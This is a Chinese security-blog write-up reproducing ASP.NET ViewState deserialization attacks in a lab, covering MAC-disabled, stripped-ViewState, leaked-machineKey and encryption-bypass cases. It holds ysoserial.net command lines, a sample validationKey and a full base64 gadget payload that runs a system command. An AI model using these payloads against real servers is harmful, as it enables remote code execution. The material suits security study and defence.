添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

长亭百川云 - 文章详情

DotNet安全-ViewState反序列化利用

7bits安全团队

176

2024-07-13

markdown-img
预览

ViewState 反序列化

这周有朋友问

碰巧自己也没听说过,问了身边的朋友,大概两三年前就出现了,exchange 的 CVE-2020-0688 也是因为 viewstate 的反序列化,成为第一个能直接在 exchange 服务器上执行命令的漏洞。参考外文的介绍自己搭建环境复现了一下,感觉还是挺有趣的,后续也会对 exchange 的 0688 进行复现。

二、什么是 ViewState?

ViewState 基本上由服务器生成,并以隐藏的表单字段 “__VIEWSTATE” 的形式发送给客户端,用于“POST”请求。当 Web 应用程序进行 POST 请求时,客户端将其发送到服务器。ViewState 以序列化数据的形式出现,当客户端再次进行请求(ViewState)被发送到服务器时,将进行反序列化。

ASP.NET 有各种序列化和反序列化库,称为 formatter ,它序列化对象到字节流,反之亦然(反序列化字节流到对象)。如ObjectStateFormatter、LOSFormatter、BinaryFormatter 等。

ASP.NET 使用 LosFormatter 序列化 ViewState,并将其作为隐藏的表单字段发送到客户端。一旦序列化 ViewState 在 POST 请求期间被发送回服务器,它将使用ObjectStateFormatter 进行反序列化。

为了使 ViewState 不受篡改,存在一个启用 ViewState MAC 的选项,通过设置一个值并在反序列化期间对 ViewState 的值进行完整性检查。

Burp 插件安装

Viewstate 的插件在老版本的 bp 里才有,新版 bp 需要手动去下载安装,在 bp 的 BApp Store 里搜索 ViewState Editor 安装即可。

ysoerial.net 工具地址:
https://github.com/pwntester/ysoserial.net

1、 Target framework ≤4.0 (ViewState Mac is disabled)

修改注册表
(HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft.NETFramework\v4.0.30319),AspNetEnforceViewStateMac 的值修改为 0

准备前端 hello.aspx,内容如下:

`<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %>   <!DOCTYPE html>   <html xmlns="http://www.w3.org/1999/xhtml">   <head runat="server">       <title></title>   </head>   <body>       <form id="form1" runat="server">           <asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />           <asp:Button ID="Button1" runat="server" OnClick="Button1_Click"                    Text="GO" class="btn"/>     <br />           <asp:Label ID="Label1" runat="server"></asp:Label>       </form>   </body>   </html>`

hello.aspx.cs 内容:

`using System;   using System.Collections.Generic;   using System.Web;   using System.Web.UI;   using System.Web.UI.WebControls;   using System.Text.RegularExpressions;   using System.Text;   using System.IO;   public partial class hello : System.Web.UI.Page   {       protected void Page_Load(object sender, EventArgs e)       {   }    protected override void OnInit(EventArgs e)       {           base.OnInit(e);    }       protected void Button1_Click(object sender, EventArgs e)       {           Label1.Text = TextArea1.Text.ToString();       }   }`

访问 hello.aspx 文件发送 post 请求。此时 MAC 验证功能被禁用。

ysoserial 生成 payload

`ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo 7bits666 > C:\Windows\temp\test.txt"`

复制生成的 payload,url 编码一次发送到__viewstate 参数即可反序列化命令执行。 

2、When ViewState is removed from the HTTP request

有的场景中,post 请求包里并不会带上__viewstate 参数,但是这样并不是安全的。这里继续使用上面一个场景中的前端代码,修改后端代码如下:

`using System;   using System.Collections.Generic;   using System.Web;   using System.Web.UI;   using System.Web.UI.WebControls;   using System.Text.RegularExpressions;   using System.Text;   using System.IO;   public class BasePage : System.Web.UI.Page   {    protected override void Render(HtmlTextWriter writer)    {    StringBuilder sb = new StringBuilder();    StringWriter sw = new StringWriter(sb);    HtmlTextWriter hWriter = new HtmlTextWriter(sw);    base.Render(hWriter);    string html = sb.ToString();    html = Regex.Replace(html, "<input[^>]*id=\"(__VIEWSTATE)\"[^>]*>", string.Empty, RegexOptions.IgnoreCase);    writer.Write(html);    }   }   public partial class hello : BasePage   {    protected void Page_Load(object sender, EventArgs e)    {   }       protected void Button1_Click(object sender, EventArgs e)    {    Label1.Text = TextArea1.Text.ToString();    }   }`

此时抓包发现,post 数据包里并没有带上VIEWSTATE 的参数。

需要做的事,只需要手动添加上VIEWSTATE 参数,payload 如上一个场景中一样传入,同样可以反序列化成功。 

3、framework ≤4.0 (ViewState Mac is enabled)

IIS(.net 4.0)

iis 中开启

设置自动生成密钥后应用。在 web 的根目录下生成 web.config。

假设 MAC 已为 ViewState 启用,并且由于本地文件读取、XXE 等漏洞,我们可以访问带有验证密钥和算法等配置的 web.config 文件,如上所示,我们可以使用 ysoserial.net 和通过提供验证密钥和算法作为参数来生成有效负载。

出于演示的目的,我们使用了具有以下代码库的示例应用程序,并假设由于任何文件读取漏洞,攻击者已经访问了 web.config 文件

`<?xml version="1.0" encoding="UTF-8"?>   <configuration>   <system.web>   <customErrors mode="Off" />    <machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />    <pages enableViewStateMac="true" enableEventValidation="false" />   </system.web>   </configuration>`

注意 web.config 中的 enableViewStateMac="true" //以在 ViewState 中启用 MAC(消息验证码)enableEventValidation="false" //关闭与 ViewState 一起使用的不同加密/验证算法 前端 hello.aspx 文件内容

`<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" %>   <!DOCTYPE html>   <html xmlns="http://www.w3.org/1999/xhtml">   <head runat="server">       <title></title>   </head>   <body>       <form id="form1" runat="server">           <asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />           <asp:Button ID="Button1" runat="server" OnClick="Button1_Click"                    Text="GO" class="btn"/>     <br />           <asp:Label ID="Label1" runat="server"></asp:Label>       </form>   </body>   </html>`

hello.aspx.cs 文件内容

`using System;   using System.Collections.Generic;   using System.Web;   using System.Web.UI;   using System.Web.UI.WebControls;   using System.Text.RegularExpressions;   using System.Text;   using System.IO;   public partial class hello : System.Web.UI.Page   {       protected void Page_Load(object sender, EventArgs e)       {   }    protected override void OnInit(EventArgs e)       {           base.OnInit(e);    }       protected void Button1_Click(object sender, EventArgs e)       {           Label1.Text = TextArea1.Text.ToString();       }   }`

访问 hello.aspx 文件,

随便发送内容抓取 post 数据包,可以看到 mac enabled 配置内容, ViewState MAC 已启用。

如果我们注意到下面的 POST 请求,可以看到请求中没有“_VIEWSTATEGENERATOR”参数。此时,我们需要将应用程序路径和路径变量作为参数提供给 ysoserial。
但是,如果我们在 HTTP 请求中有 _VIEWSTATEGENERATOR 参数,我们可以直接将其值提供给 ysoserial 以生成有效负载。

ysoserial生成 payload,这里的--path 需要指定一个服务器上存在的文件,同时--apppath 的虚拟目录也需要注意。

`ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --path="/admin.aspx" --apppath="/" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" --isdebug --islegacy`

执行结果:

`simulateTemplateSourceDirectory returns: /   simulateGetTypeName returns: admin_aspx   Calculated pageHashCode in uint: 1732672259   Calculated __VIEWSTATEGENERATOR (ignored): 67467B03   /wEy3xEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAJi9jIGVjaG8gMTIzID4gYzpcd2luZG93c1x0ZW1wXHRlc3QudHh0BgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgtoJOCD/P8c+Yl+rO9B6VkNhbceOA==`

增加VIEWSTATEGENERATOR=67467B03 至 POST 请求包中,替换VIEWSTATE=参数为生成的 payload,具体如下。

(需要注意的是,ysoserial 生成的 payload 需要进行一次 url 编码再传给__VIEWSTATE 参数)

成功执行命令。

4、Target framework ≤4.0 (Encryption is enabled for ViewState)

在 .NET 4.5 之前,ASP.NET 可以接受来自用户的未加密**VIEWSTATE 参数,即使 ViewStateEncryptionMode 已设置为 Always。

ASP.NET 仅检查请求中是否存在 **VIEWSTATEENCRYPTED 参数。如果删除此参数,并发送未加密的有效载荷,发序列化依旧会触发。

这里一开始访问的文件名为 1.aspx,同时 ysoserial 生成的 payload 的参数也是使用 1.aspx 作为参数--path 的值,但是这样的方式并不能利用成功,反之修改 1.aspx 的文件名为 admin.aspx 则可以正常触发。
也就是数字的文件名无法触发反序列化链,这个问题的产生仍旧没有解决。